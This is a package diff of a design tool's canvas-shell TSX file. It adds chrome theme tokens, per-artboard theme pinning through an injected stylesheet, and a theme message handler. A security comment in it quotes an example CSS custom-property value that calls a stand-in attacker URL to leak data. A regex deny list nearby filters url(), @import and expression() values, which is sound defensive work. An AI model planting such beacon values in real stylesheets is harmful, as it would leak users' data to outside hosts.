@1agh/maude 0.23.0 → 0.25.0

package/plugins/design/dev-server/canvas-shell.tsx

@@ -98,25 +98,63 @@ import { useUndoStack } from './use-undo-stack.tsx';
 // plane would otherwise scale a 2 px outline to 0.84 px at 42 % zoom (subpixel
 // = invisible). No per-element class stamping is used.
 
-// HUD-namespace token block. System-review 2026-05-27 (D-4) flagged that the
+// HUD / chrome token block. System-review 2026-05-27 (D-4) flagged that the
 // dev-server chrome (toolbar + minimap + halos + marquee + AI banner) used
 // `var(--accent, …)` which inherited the canvas DS palette — a violet StudyFi
 // canvas turned the floating cursor toolbar violet. The HUD owns its own
 // `--maude-hud-*` token family, set on `:root` of the canvas iframe document
-// here. Canvas DSs do NOT define `--maude-hud-*`, so HUD CSS resolves against
-// this block regardless of what the imported `:root { --accent: … }` looks like.
+// here. Canvas DSs do NOT define these names, so HUD/chrome CSS resolves
+// against this block regardless of what the imported `:root { --accent: … }`
+// looks like.
 //
-// Defaults match the existing inline fallback color (`#d63b1f`, Maude brand
-// orange-rust) so no visual change to the default theme. Users who want to
-// re-theme the HUD can set `--maude-hud-accent` etc. via a `<style>` block
-// AFTER this one (CSS cascade — later wins).
+// Two sub-families:
+//   • `--maude-hud-accent*` — theme-agnostic brand orange-rust. Defaults match
+//     the existing inline fallback (`#d63b1f`) so the accent never changes with
+//     the theme. Users who want to re-theme the HUD can set these via a
+//     `<style>` block AFTER this one (CSS cascade — later wins).
+//   • `--maude-chrome-*` — NEUTRAL surface/text/border family that DOES follow
+//     the Maude chrome theme (system-review 2026-05-28 D9). The whole canvas-
+//     shell chrome (workspace plane, dotted grid, floating toolbar, minimap,
+//     zoom HUD, popovers, halos, context menu, undo HUD, presence chrome) reads
+//     these instead of the DS `--bg-*`/`--fg-*` palette, so the chrome flips
+//     dark↔light with the rest of the dev-server while ARTBOARDS keep the theme
+//     their design system defines. The set is selected by a `data-maude-theme`
+//     attribute on the iframe `documentElement`, propagated over the existing
+//     `dgn:*` postMessage bridge (see CanvasRouter onMessage + app.jsx).
+//
+// Values mirror the Maude app-chrome neutrals (client/styles/1-tokens.css) so
+// the in-iframe chrome and the outer shell read as one product. The DARK set is
+// also the default (attribute absent / "dark") so a canvas that never receives
+// a theme message renders coherent-dark — matching the dev-server's own default
+// theme (readInitialTheme() → 'dark'). DDR — mirrors the `--maude-hud-*`
+// precedent; the `data-maude-theme` attribute is deliberately SEPARATE from the
+// DS `data-theme` so chrome theming never touches artboard palettes.
 const HUD_TOKENS_CSS = `
-:root {
+:root,
+:root[data-maude-theme="dark"] {
   --maude-hud-accent:        #d63b1f;
   --maude-hud-accent-hover:  #b8331b;
   --maude-hud-accent-active: #962a16;
   --maude-hud-accent-fg:     #ffffff;
   --maude-hud-accent-tint:   color-mix(in oklab, #d63b1f 14%, transparent);
+
+  --maude-chrome-bg-0:      oklch(13% 0.012 60);
+  --maude-chrome-bg-1:      oklch(17% 0.014 60);
+  --maude-chrome-bg-2:      oklch(20% 0.016 60);
+  --maude-chrome-fg-0:      oklch(94% 0.014 80);
+  --maude-chrome-fg-1:      oklch(78% 0.014 80);
+  --maude-chrome-border:    oklch(28% 0.018 60);
+  --maude-chrome-shadow:    rgba(0, 0, 0, 0.45);
+  --maude-chrome-font-mono: 'Berkeley Mono', 'TX-02', 'JetBrains Mono', 'IBM Plex Mono', ui-monospace, SFMono-Regular, Menlo, monospace;
+}
+:root[data-maude-theme="light"] {
+  --maude-chrome-bg-0:   oklch(97.5% 0.008 78);
+  --maude-chrome-bg-1:   oklch(95.5% 0.010 78);
+  --maude-chrome-bg-2:   oklch(93.0% 0.012 78);
+  --maude-chrome-fg-0:   oklch(20% 0.020 50);
+  --maude-chrome-fg-1:   oklch(38% 0.018 50);
+  --maude-chrome-border: oklch(86% 0.014 70);
+  --maude-chrome-shadow: color-mix(in oklab, oklch(20% 0.020 50) 14%, transparent);
 }
 `;
 
@@ -138,7 +176,7 @@ const HALO_CSS = `
    elements. NO ring, NO ticks. Synchronous paint (no debounce). */
 .dc-cv-halo--hover {
   border: 1.5px solid color-mix(in oklab, var(--maude-hud-accent, #0d99ff) 60%, transparent);
-  box-shadow: inset 0 0 0 1px var(--bg-0, #ffffff);
+  box-shadow: inset 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
 }
 /* Selected (single) — 2px solid + 18% ring halo + 4 filled corner ticks.
    Ticks are <i class="tick tick-*"> children at inset:-3px, 8x8, accent fill. */
@@ -152,7 +190,7 @@ const HALO_CSS = `
   height: 8px;
   background: var(--maude-hud-accent, #0d99ff);
   border-radius: 1px;
-  box-shadow: 0 0 0 1px var(--bg-0, #ffffff);
+  box-shadow: 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
 }
 .dc-cv-halo--selected .tick-tl { top: -3px; left: -3px; }
 .dc-cv-halo--selected .tick-tr { top: -3px; right: -3px; }
@@ -186,7 +224,7 @@ const HALO_CSS = `
   height: 6px;
   background: var(--maude-hud-accent, #0d99ff);
   border-radius: 1px;
-  box-shadow: 0 0 0 1px var(--bg-0, #ffffff);
+  box-shadow: 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
 }
 .dc-cv-group-bbox .tick-tl { top: -3px; left: -3px; }
 .dc-cv-group-bbox .tick-tr { top: -3px; right: -3px; }
@@ -215,53 +253,19 @@ const HALO_CSS = `
     transition: none !important;
   }
 }
-/*
- * Force tool cursor across the canvas tree in comment / hand modes. Without
- * !important on every descendant, buttons and links with their own cursor
- * declaration would flip the cursor away from the tool affordance the moment
- * the user hovers an interactive element — wrong signal when native
- * interactions are suppressed by the router anyway.
- */
-/* T22 — per-tool SVG cursors. Each cursor is a 16 × 16 SVG data-URI with a
-   declared hotspot. The crosshair / cell / grab fallbacks remain in the
-   chain so older browsers still get a recognisable affordance. SVGs are
-   utf-8 encoded inline (Chromium / Safari 16+ / Firefox 117+ all accept). */
-.dc-canvas {
-  --cursor-pen: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='16' height='16' viewBox='0 0 16 16'><path d='M14 1.5 L9 6.5 L2.5 13.5 L1.5 14.5 L2 13 L8.5 6 L13.5 1.5 Z' fill='%23111' stroke='white' stroke-width='0.7' stroke-linejoin='round'/></svg>") 2 14;
-  --cursor-rect: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='16' height='16' viewBox='0 0 16 16'><line x1='0.5' y1='8' x2='15.5' y2='8' stroke='%23111' stroke-width='1'/><line x1='8' y1='0.5' x2='8' y2='15.5' stroke='%23111' stroke-width='1'/><rect x='10.5' y='10.5' width='4' height='3' fill='white' stroke='%23111' stroke-width='1'/></svg>") 8 8;
-  --cursor-ellipse: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='16' height='16' viewBox='0 0 16 16'><line x1='0.5' y1='8' x2='15.5' y2='8' stroke='%23111' stroke-width='1'/><line x1='8' y1='0.5' x2='8' y2='15.5' stroke='%23111' stroke-width='1'/><ellipse cx='12.5' cy='12' rx='2.5' ry='1.5' fill='white' stroke='%23111' stroke-width='1'/></svg>") 8 8;
-  --cursor-arrow: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='16' height='16' viewBox='0 0 16 16'><line x1='0.5' y1='8' x2='15.5' y2='8' stroke='%23111' stroke-width='1'/><line x1='8' y1='0.5' x2='8' y2='15.5' stroke='%23111' stroke-width='1'/><path d='M10 13 L15 13 M12.5 11 L15 13 L12.5 15' fill='none' stroke='%23111' stroke-width='1' stroke-linecap='round' stroke-linejoin='round'/></svg>") 8 8;
-  --cursor-eraser: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='16' height='16' viewBox='0 0 16 16'><rect x='3' y='9' width='8' height='5' rx='1' fill='%23ffb3da' stroke='%23111' stroke-width='1' transform='rotate(-20 7 11.5)'/><rect x='3' y='9' width='8' height='2' fill='%23d63b6e' transform='rotate(-20 7 10)' opacity='0.6'/></svg>") 8 14;
-  --cursor-comment: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='16' height='16' viewBox='0 0 16 16'><path d='M3 3 L14 3 L14 11 L8 11 L4 14 L4 11 L3 11 Z' fill='white' stroke='%23111' stroke-width='1' stroke-linejoin='round'/></svg>") 4 4;
-}
-.dc-canvas[data-active-tool="comment"],
-.dc-canvas[data-active-tool="comment"] * {
-  cursor: var(--cursor-comment), crosshair !important;
-}
-.dc-canvas[data-active-tool="pen"],
-.dc-canvas[data-active-tool="pen"] * {
-  cursor: var(--cursor-pen), crosshair !important;
-}
-.dc-canvas[data-active-tool="rect"],
-.dc-canvas[data-active-tool="rect"] * {
-  cursor: var(--cursor-rect), crosshair !important;
-}
-.dc-canvas[data-active-tool="ellipse"],
-.dc-canvas[data-active-tool="ellipse"] * {
-  cursor: var(--cursor-ellipse), crosshair !important;
-}
-.dc-canvas[data-active-tool="arrow"],
-.dc-canvas[data-active-tool="arrow"] * {
-  cursor: var(--cursor-arrow), crosshair !important;
-}
-.dc-canvas[data-active-tool="hand"],
-.dc-canvas[data-active-tool="hand"] * {
-  cursor: grab !important;
-}
-.dc-canvas[data-active-tool="eraser"],
-.dc-canvas[data-active-tool="eraser"] * {
-  cursor: var(--cursor-eraser), cell !important;
-}
+/* Phase 24 — per-tool cursors are owned SOLELY by use-tool-mode.tsx, which
+   injects ONE unified Kenney-glyph rule ('* { cursor: <tool> !important }')
+   into the same document. The old T22 per-tool '.dc-canvas[data-active-tool=…]'
+   rules used to live here, but their higher specificity ('.class[attr] *'
+   beats '*') silently SHADOWED the new cursors for comment/pen/arrow/hand/
+   eraser — they kept showing the stale 16px glyphs (or their native fallback)
+   while move/shape/sticky/text (which had no shadowing rule) correctly showed
+   the Kenney set. Removing them lets the single source of truth win for every
+   tool. 'data-active-tool' is still set on '.dc-canvas' (see CanvasCore) and
+   keyed by canvas-lib's move-mode label cursor + use-cursor-modifiers — those
+   stay. See DDR-067 / Phase 24. NOTE: keep this comment backtick-free — it
+   lives inside the HALO_CSS template literal and a stray backtick closes it
+   (bun parse fail, DDR-067 §6). */
 
 /* T31 — Level of detail. Below 0.35 zoom we hide pre-attentive chrome that
    becomes visual noise (corner ticks, distance pills, active-artboard ring,
@@ -313,6 +317,39 @@ export function CanvasShell({
   children: ReactNode;
 }) {
   ensureHaloStyles();
+
+  // theme-default-follow — every un-pinned artboard tracks the chrome theme.
+  // When it flips (the theme postMessage handler in CanvasRouter updates
+  // `data-maude-theme` on <html>), re-theme them. A single observer per canvas
+  // (cleaned up on unmount) — no per-artboard listeners to leak. The rule is a
+  // CSS block keyed by data-dc-screen (see rebuildArtboardThemeStyle), so it
+  // survives React re-renders without flicker.
+  useEffect(() => {
+    if (typeof MutationObserver === 'undefined' || typeof document === 'undefined') return;
+    const obs = new MutationObserver(() => applyArtboardFollowers());
+    obs.observe(document.documentElement, {
+      attributes: true,
+      attributeFilter: ['data-maude-theme'],
+    });
+    // Initial follow — theme every un-pinned artboard once the DS stylesheet has
+    // parsed. The observer only fires on a `data-maude-theme` CHANGE, which may
+    // not happen on first paint (the chrome theme can already equal the canvas
+    // default), so first paint needs its own trigger. `window 'load'` guarantees
+    // every <link>/<style> sheet is parsed → collectThemeDeclarations sees the
+    // DS tokens. Runs immediately if the document is already complete.
+    let onLoad: (() => void) | null = null;
+    if (document.readyState === 'complete') {
+      applyArtboardFollowers();
+    } else {
+      onLoad = () => applyArtboardFollowers();
+      window.addEventListener('load', onLoad, { once: true });
+    }
+    return () => {
+      obs.disconnect();
+      if (onLoad) window.removeEventListener('load', onLoad);
+    };
+  }, []);
+
   // ToolProvider is mounted by DesignCanvas one level up (so the viewport
   // controller's `isPanDragActive` predicate can read the live tool state).
   // SelectionSetProvider is mounted via MaybeSelectionSetProvider — the shell-
@@ -659,6 +696,235 @@ function CanvasCore({
   );
 }
 
+// ─────────────────────────────────────────────────────────────────────────────
+// Artboard theme (D9 + theme-default-follow, 2026-05-31). The status-bar theme
+// toggle (vpravo dole) is the SINGLE SOURCE OF TRUTH: the canvas-shell chrome
+// AND every artboard follow it by default via `data-maude-theme`. The right-
+// click `Theme ▸ DS default / Light / Dark / Follow chrome` submenu PINS one
+// artboard to override that default — re-themed by stamping its content wrapper
+// with the DS's theme-wrapper convention. (Before this date the default was the
+// inverse — artboards kept their own DS theme and following was opt-in — which
+// produced the recurring "canvas dark / chrome light" mismatch.)
+//
+// DS theme-wrapper conventions vary (`.mdcc[data-theme]`, `.app[data-theme]`,
+// bare `[data-theme]`, …) and there's no reliable config flag, so we DETECT it
+// with a hidden computed-style probe: stamp a throwaway nested <div> with each
+// candidate `<class>[data-theme=light|dark]` and keep the first whose resolved
+// `--bg-0` differs between light and dark. Because the probe tests a NON-root
+// element, "supported" is exactly "stamping one artboard will work" — a DS that
+// only themes `:root[data-theme]` correctly reports unsupported (you genuinely
+// can't theme a single artboard there).
+
+interface DsThemeSupport {
+  supported: boolean;
+  /** The class the DS scopes its theme blocks to (`''` = bare `[data-theme]`). */
+  wrapperClass: string;
+}
+
+let _dsThemeSupport: DsThemeSupport | null = null;
+
+function detectDsThemeSupport(): DsThemeSupport {
+  if (_dsThemeSupport) return _dsThemeSupport;
+  const fallback: DsThemeSupport = { supported: false, wrapperClass: '' };
+  if (typeof document === 'undefined' || !document.body) return fallback;
+  try {
+    const host = document.createElement('div');
+    host.setAttribute('aria-hidden', 'true');
+    host.style.cssText =
+      'position:absolute;left:-9999px;top:0;width:0;height:0;overflow:hidden;pointer-events:none;';
+    document.body.appendChild(host);
+    const read = (cls: string, theme: string): string => {
+      const el = document.createElement('div');
+      if (cls) el.className = cls;
+      el.setAttribute('data-theme', theme);
+      host.appendChild(el);
+      const v = getComputedStyle(el).getPropertyValue('--bg-0').trim();
+      host.removeChild(el);
+      return v;
+    };
+    // Bare attribute first (cleanest), then the common class conventions.
+    let found = fallback;
+    for (const cls of ['', 'mdcc', 'app']) {
+      const light = read(cls, 'light');
+      const dark = read(cls, 'dark');
+      if (light && dark && light !== dark) {
+        found = { supported: true, wrapperClass: cls };
+        break;
+      }
+    }
+    document.body.removeChild(host);
+    // Cache only a POSITIVE detection. With follow-chrome now the artboard
+    // default, this can run on first paint — before the DS stylesheet has
+    // parsed — where the probe reads empty tokens and wrongly reports
+    // unsupported. Caching that would permanently disable theming; instead
+    // re-probe until support is confirmed (or the DS genuinely has one theme).
+    if (found.supported) _dsThemeSupport = found;
+    return found;
+  } catch {
+    return fallback;
+  }
+}
+
+// Why not just stamp `data-theme` on the `.dc-artboard` element? Two reasons,
+// both found the hard way: (1) React OWNS the artboard <article> + the canvas
+// content's `rootClass` wrapper — it reconciles their className/attrs back to
+// the JSX values on every re-render, wiping any imperative mutation; and (2)
+// the canvas content carries its OWN `rootClass[data-theme]` wrapper (the DS
+// default), which re-establishes the default tokens BELOW the artboard, so
+// setting `data-theme` on the outer article never reaches the content. The
+// robust mechanism is a single injected <style> keyed by the STABLE
+// `data-dc-screen` attribute (which React always re-renders WITH), re-declaring
+// the chosen theme's `--*` tokens scoped to the artboard's content wrapper.
+// Survives re-renders, beats the wrapper on cascade order, zero flicker.
+
+// Reject token VALUES that could turn the re-emitted <style> into a resource
+// fetch / exfil beacon. Per the CSS spec a custom-property value can't contain
+// an unmatched top-level `}` (so brace-breakout to other selectors is already
+// impossible), but `url()` / `image()` / `@import` / comments survive verbatim.
+// For a TRUSTED same-origin DS this is inert, but a DDR-054 untrusted synced
+// canvas could ship `--bg-0: #fff url(https://attacker/x?leak)` — copying it
+// here would fire that fetch when the artboard renders. Drop such values; the
+// token simply falls back to the DS default for that artboard. (Security
+// review F2, 2026-05-29 — defense-in-depth on top of the canvas-origin CSP.)
+const _UNSAFE_TOKEN_VALUE = /url\(|image\(|image-set\(|-image-set\(|@import|\/\*|expression\(/i;
+
+// Collect a DS theme block's custom-property declarations by scanning the
+// loaded stylesheets for top-level rules whose selector targets that theme.
+// Only `--*` props are copied (token re-definitions) — never layout/type, and
+// never @media-nested rules (e.g. the prefers-reduced-motion 1ms collapse).
+const _themeDecls: Partial<Record<'light' | 'dark', string>> = {};
+function collectThemeDeclarations(theme: 'light' | 'dark'): string {
+  const cached = _themeDecls[theme];
+  if (cached != null) return cached;
+  let decls = '';
+  if (typeof document !== 'undefined') {
+    for (const sheet of Array.from(document.styleSheets)) {
+      let rules: CSSRuleList | undefined;
+      try {
+        rules = sheet.cssRules;
+      } catch {
+        continue; // cross-origin / unreadable sheet
+      }
+      if (!rules) continue;
+      for (const rule of Array.from(rules)) {
+        if (!(rule instanceof CSSStyleRule)) continue;
+        if (!(rule.selectorText || '').includes(`[data-theme="${theme}"]`)) continue;
+        const style = rule.style;
+        for (let i = 0; i < style.length; i++) {
+          const prop = style[i];
+          if (!prop.startsWith('--')) continue;
+          const value = style.getPropertyValue(prop);
+          if (_UNSAFE_TOKEN_VALUE.test(value)) continue;
+          decls += `${prop}:${value};`;
+        }
+      }
+    }
+  }
+  // Cache only a NON-EMPTY result — same first-paint race as detectDsThemeSupport:
+  // a scan that runs before the DS stylesheet parses finds nothing, and caching
+  // '' would freeze the artboard un-themed forever. Leave it uncached so the
+  // post-load rebuild (window 'load' / the theme MutationObserver) repopulates it.
+  if (decls) _themeDecls[theme] = decls;
+  return decls;
+}
+
+// Every artboard FOLLOWS the chrome theme by default (the status-bar toggle is
+// the source of truth). A per-artboard pin OVERRIDES that: 'ds' = the design
+// system's native theme (opt out of following entirely), 'light' / 'dark' = a
+// fixed theme. Absence from this map = follow chrome.
+type ArtboardPin = 'ds' | 'light' | 'dark';
+const _artboardPins = new Map<string, ArtboardPin>();
+
+function cssEsc(v: string): string {
+  return typeof CSS !== 'undefined' && CSS.escape ? CSS.escape(v) : v;
+}
+
+// Selector targeting the artboard's content wrapper (where the DS theme block
+// is re-established). Beats `.<wrapper>[data-theme="…"]` because the injected
+// <style> is appended after the DS stylesheet (later-wins on equal specificity).
+function artboardScopeSelector(screenId: string): string {
+  const { wrapperClass } = detectDsThemeSupport();
+  const base = `[data-dc-screen="${cssEsc(screenId)}"]`;
+  if (wrapperClass) {
+    const c = cssEsc(wrapperClass);
+    return `${base} .${c},${base}.${c}`;
+  }
+  return `${base} [data-theme],${base}[data-theme]`;
+}
+
+// Like artboardScopeSelector but matches EVERY artboard except the pinned ones —
+// backs the default-follow rule, which themes all un-pinned artboards in one
+// declaration. Pinned ids are :not()-excluded so the per-screen pin rule never
+// has to out-specify this global one (they target disjoint elements).
+function globalArtboardScopeSelector(excludeIds: string[]): string {
+  const { wrapperClass } = detectDsThemeSupport();
+  const not = excludeIds.map((id) => `:not([data-dc-screen="${cssEsc(id)}"])`).join('');
+  const base = `[data-dc-screen]${not}`;
+  if (wrapperClass) {
+    const c = cssEsc(wrapperClass);
+    return `${base} .${c},${base}.${c}`;
+  }
+  return `${base} [data-theme],${base}[data-theme]`;
+}
+
+function rebuildArtboardThemeStyle(): void {
+  if (typeof document === 'undefined') return;
+  let el = document.getElementById('dc-artboard-theme-css') as HTMLStyleElement | null;
+  if (!el) {
+    el = document.createElement('style');
+    el.id = 'dc-artboard-theme-css';
+    document.head.appendChild(el);
+  }
+  let css = '';
+  // (1) Default — every un-pinned artboard follows the chrome theme. Pinned
+  // artboards are :not()-excluded so this rule never competes with their
+  // per-screen rule below. When the DS doesn't define the chrome theme's tokens
+  // (collectThemeDeclarations → ''), nothing is emitted and the artboard keeps
+  // its native DS theme — there's no alternate palette to follow to.
+  const pinnedIds = [..._artboardPins.keys()];
+  const followDecls = collectThemeDeclarations(currentChromeTheme());
+  if (followDecls) css += `${globalArtboardScopeSelector(pinnedIds)}{${followDecls}}\n`;
+  // (2) Explicit per-artboard pins. 'ds' emits nothing (the :not() above already
+  // released that artboard back to its native DS theme); 'light' / 'dark'
+  // re-declare the chosen theme's tokens scoped to that one artboard.
+  for (const [screenId, pin] of _artboardPins) {
+    if (pin === 'ds') continue;
+    const decls = collectThemeDeclarations(pin);
+    if (decls) css += `${artboardScopeSelector(screenId)}{${decls}}\n`;
+  }
+  el.textContent = css;
+}
+
+/** Current canvas-shell chrome theme (mirrors `data-maude-theme` on <html>). */
+function currentChromeTheme(): 'light' | 'dark' {
+  if (typeof document === 'undefined') return 'dark';
+  return document.documentElement.dataset.maudeTheme === 'light' ? 'light' : 'dark';
+}
+
+/**
+ * Pin a single artboard's theme (keyed by its stable `data-dc-screen` id), or
+ * clear the pin so it returns to the default — following the chrome theme.
+ *   'follow' → remove the pin (default: track the chrome theme toggle)
+ *   'ds'     → pin to the design system's native theme (stop following)
+ *   'light' / 'dark' → pin to a fixed theme
+ */
+function setArtboardTheme(screenId: string, mode: 'follow' | ArtboardPin): void {
+  if (mode === 'follow') _artboardPins.delete(screenId);
+  else _artboardPins.set(screenId, mode);
+  rebuildArtboardThemeStyle();
+}
+
+/**
+ * Re-theme every following artboard when the chrome theme flips. The
+ * default-follow rule in rebuildArtboardThemeStyle reads currentChromeTheme()
+ * live, so a plain rebuild re-points every un-pinned artboard at the new theme
+ * in one shot. Kept under the original name so the MutationObserver call site
+ * and the initial 'load' trigger stay untouched.
+ */
+function applyArtboardFollowers(): void {
+  rebuildArtboardThemeStyle();
+}
+
 // ─────────────────────────────────────────────────────────────────────────────
 // Registry builder — closes over controller + clear callback.
 
@@ -743,6 +1009,57 @@ function buildRegistry(deps: {
     },
   });
 
+  // Per-artboard theme PIN, keyed by the stable `data-dc-screen` id
+  // (target.artboardId) via an injected stylesheet (see setArtboardTheme).
+  // Following the chrome theme is the default; this submenu overrides it for one
+  // artboard. The DS-supports-both probe gates Light / Dark / "Follow chrome"
+  // (all no-ops on a single-theme DS); only "DS default" is always meaningful.
+  const themeSupport = detectDsThemeSupport();
+  const themeHint = 'This design system defines only one theme';
+  const themeItem: MenuItem = {
+    id: 'theme',
+    label: 'Theme',
+    onSelect: () => {
+      /* parent of a submenu — never invoked directly */
+    },
+    submenu: [
+      {
+        id: 'theme-ds-default',
+        label: 'DS default',
+        onSelect: (target) => {
+          if (target.artboardId) setArtboardTheme(target.artboardId, 'ds');
+        },
+      },
+      {
+        id: 'theme-light',
+        label: 'Light',
+        disabled: !themeSupport.supported,
+        disabledHint: themeHint,
+        onSelect: (target) => {
+          if (target.artboardId) setArtboardTheme(target.artboardId, 'light');
+        },
+      },
+      {
+        id: 'theme-dark',
+        label: 'Dark',
+        disabled: !themeSupport.supported,
+        disabledHint: themeHint,
+        onSelect: (target) => {
+          if (target.artboardId) setArtboardTheme(target.artboardId, 'dark');
+        },
+      },
+      {
+        id: 'theme-follow',
+        label: 'Follow chrome (default)',
+        disabled: !themeSupport.supported,
+        disabledHint: themeHint,
+        onSelect: (target) => {
+          if (target.artboardId) setArtboardTheme(target.artboardId, 'follow');
+        },
+      },
+    ],
+  };
+
   return {
     element: [
       [
@@ -868,6 +1185,7 @@ function buildRegistry(deps: {
           onSelect: () => distributeArtboards('y'),
         },
       ],
+      [themeItem],
       [exportItem('export-artboard', 'Export this artboard…', 'artboard')],
     ],
     world: [
@@ -944,6 +1262,13 @@ function CanvasRouter({
   // user closes the composer.
   useEffect(() => {
     if (typeof window === 'undefined') return;
+    // Default the canvas-shell chrome theme to dark (matches the dev-server's
+    // own default + the bare `:root` --maude-chrome-* set) so a canvas that
+    // never receives a `dgn:'theme'` message still renders coherent-dark and
+    // the follow-chrome observer (Task 5) has a concrete value to mirror.
+    if (!document.documentElement.dataset.maudeTheme) {
+      document.documentElement.dataset.maudeTheme = 'dark';
+    }
     const onMessage = (e: MessageEvent) => {
       const m = e.data as { dgn?: string } | null;
       if (!m || typeof m !== 'object' || !m.dgn) return;
@@ -958,6 +1283,19 @@ function CanvasRouter({
         if (typeof t === 'string') setTool(t as never);
         return;
       }
+      // D9 — canvas-shell chrome follows the Maude chrome theme. The chrome's
+      // `--maude-chrome-*` token family is keyed by `data-maude-theme` on the
+      // iframe documentElement (see HUD_TOKENS_CSS). This attribute is
+      // DELIBERATELY separate from the DS `data-theme`: it only re-themes the
+      // floating chrome, never the artboard palettes. Followers (per-artboard
+      // "Follow chrome") restamp via the MutationObserver in CanvasShell.
+      if (m.dgn === 'theme') {
+        const t = (m as { theme?: string }).theme;
+        if (t === 'light' || t === 'dark') {
+          document.documentElement.dataset.maudeTheme = t;
+        }
+        return;
+      }
     };
     window.addEventListener('message', onMessage);
     return () => window.removeEventListener('message', onMessage);
@@ -1085,14 +1423,14 @@ const MULTI_TOOLBAR_CSS = `
   align-items: stretch;
   gap: 2px;
   padding: 4px;
-  background: var(--u-bg-0, var(--bg-0, #ffffff));
-  border: 1px solid var(--u-fg-0, #1c1917);
+  background: var(--maude-chrome-bg-0, #ffffff);
+  border: 1px solid var(--maude-chrome-fg-0, #1c1917);
   border-radius: 8px;
-  box-shadow: 0 6px 24px color-mix(in oklab, var(--u-fg-0, #1c1917) 10%, transparent);
-  font-family: var(--u-font-mono, ui-monospace, SFMono-Regular, Menlo, monospace);
+  box-shadow: 0 6px 24px var(--maude-chrome-shadow, color-mix(in oklab, #1c1917 10%, transparent));
+  font-family: var(--maude-chrome-font-mono, ui-monospace, SFMono-Regular, Menlo, monospace);
   font-size: 11px;
   letter-spacing: 0.02em;
-  color: var(--u-fg-0, #1a1a1a);
+  color: var(--maude-chrome-fg-0, #1a1a1a);
   user-select: none;
 }
 .dc-multi-artboard-tb button {
@@ -1118,8 +1456,8 @@ const MULTI_TOOLBAR_CSS = `
 }
 .dc-multi-artboard-tb .dc-mab-count {
   padding: 4px 8px 4px 10px;
-  color: var(--fg-1, rgba(40,30,20,0.7));
-  border-right: 1px solid var(--u-border-subtle, rgba(0,0,0,0.08));
+  color: var(--maude-chrome-fg-1, rgba(40,30,20,0.7));
+  border-right: 1px solid var(--maude-chrome-border, rgba(0,0,0,0.08));
   margin-right: 2px;
   font-variant-numeric: tabular-nums;
 }
@@ -1131,7 +1469,7 @@ const MULTI_TOOLBAR_CSS = `
 .dc-multi-artboard-tb .dc-mab-divider {
   width: 1px;
   align-self: stretch;
-  background: var(--u-border-subtle, rgba(0,0,0,0.10));
+  background: var(--maude-chrome-border, rgba(0,0,0,0.10));
   margin: 0 4px;
 }
 @media (prefers-reduced-motion: reduce) {